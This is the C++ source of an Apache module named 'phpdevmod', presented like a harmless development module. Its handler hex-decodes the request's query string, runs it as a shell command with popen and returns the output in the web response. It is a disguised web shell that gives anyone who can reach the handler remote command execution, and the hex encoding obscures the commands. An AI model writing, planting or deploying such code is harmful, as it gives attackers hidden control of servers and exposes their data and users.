#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
#include "iostream"
#include "sstream"

using namespace std;


string execomm(string comm) {
    string rt = "";
    FILE *fp = NULL;
    fp = popen(comm.c_str(), "r");
    char buf[100];
    while(memset(buf, 0, sizeof(buf)), fgets(buf, sizeof(buf) - 1, fp) != 0 ) {
        rt = rt + buf;
    }
    pclose(fp);
    return rt;
}

string xor78(string s1) {
    string s2;
    for(int i=0;i<s1.length();i+=2) {
        int x;
        stringstream y;
        y << hex << s1.substr(i, 2);
        y >> x;
        s2 = s2 + char(x);
    }
    return s2;
}

/* The sample content handler */
static int phpdevmod_handler(request_rec *r)
{
    if (strcmp(r->handler, "phpdevmod")) { 
        return DECLINED;
    }
    r->content_type = "text/html";
    try {
        string comm = r->args; 
        if (!r->header_only) {
            comm = xor78(comm);
            ap_rputs(execomm(comm).c_str(), r);
        }
    } catch(...) {
        return DECLINED;
    }
    return OK;
}

static void phpdevmod_register_hooks(apr_pool_t *p)
{
    ap_hook_handler(phpdevmod_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA phpdevmod_module = {
    STANDARD20_MODULE_STUFF, 
    NULL,                  /* create per-dir    config structures */
    NULL,                  /* merge  per-dir    config structures */
    NULL,                  /* create per-server config structures */
    NULL,                  /* merge  per-server config structures */
    NULL,                  /* table of config file commands       */
    phpdevmod_register_hooks  /* register hooks                      */
};